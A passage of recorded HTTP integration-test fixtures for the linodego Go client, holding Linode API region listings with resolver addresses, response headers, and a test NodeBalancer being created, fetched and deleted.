"Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640272}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767847, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-202.ip.linodeusercontent.com", "ipv4": "172.232.86.202", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767847 method: GET response: body: '{"id": 767847, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-202.ip.linodeusercontent.com", "ipv4": "172.232.86.202", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767847 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancer_Rebuild.yaml000066400000000000000000001303601474652371000322760ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, 